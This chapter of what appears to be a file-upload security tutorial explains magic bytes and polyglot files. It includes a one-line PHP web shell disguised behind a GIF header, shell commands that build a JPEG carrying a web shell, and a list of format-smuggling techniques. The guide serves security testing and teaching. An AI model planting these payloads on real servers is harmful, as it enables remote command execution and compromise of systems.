Skip to content

Chapter 2

Polyglots and magic bytes

Crafting files that satisfy multiple format parsers simultaneously.

2 min readFile Upload

Once an app stops trusting filenames alone, it usually checks the first few bytes of the upload instead. Those opening bytes are called magic bytes. A polyglot is one file that speaks two formats at once. It passes the image check at the door, then triggers another parser downstream.

Most file formats announce themselves in the opening bytes, which libraries like libmagic and PHP finfo read before accepting the file.

Format Magic byte signature Technical description
GIF GIF89a or GIF87a Graphics interchange format header
JPEG \xFF\xD8\xFF Start of image marker
PDF %PDF-1.4 Portable document format header
ZIP PK\x03\x04 Zip archive local file header
XBM #define width 1 X bitmap source header
SVG <svg Scalable vector graphics root element

Office documents such as .docx and .xlsx are zip archives. They also start with the PK\x03\x04 sequence.

The simplest polyglot combines a GIF header with executable PHP code.

GIF89a<?php system($_GET['c']); ?>

This text begins with a valid GIF signature. Naive image parsers accept the file as a graphics asset. If an application routes this file to a PHP interpreter, the PHP engine executes the payload. The web shell uses the image header as a disguise.

Different file formats provide distinct opportunities for data smuggling.

  • JPEG with ZIP: Append zip archives to the end of JPEG images.
  • ZIP with DOCX: Embed custom paths inside valid Office archive structures.
  • SVG with XML: Use XML document features inside SVG graphic files.
  • PDF with PHP: Insert executable PHP code into PDF stream objects.
  • GIF with JavaScript: Serve GIF files that double as valid JavaScript programs.
  • HTML in JPEG: Exploit missing MIME headers so browsers treat JPEG data as HTML.

You can build basic polyglot files on the command line.

  1. Write the JPEG start marker into a new file.
  2. Append your web shell code directly after the marker.
Terminal window
printf '\xFF\xD8\xFF\xDB' > image.jpg
cat shell.php >> image.jpg

For strict image parsers, use image creation libraries to place code inside EXIF comment fields. This approach preserves valid image dimensions and checksums.

A file has no single absolute format. A file has only the format that the active parser perceives. A successful polyglot exploits differences between the validation parser and the execution engine.

Next, see how SVG turns this same trick into stored script execution in Chapter 3.

File UploadFor authorized testing only.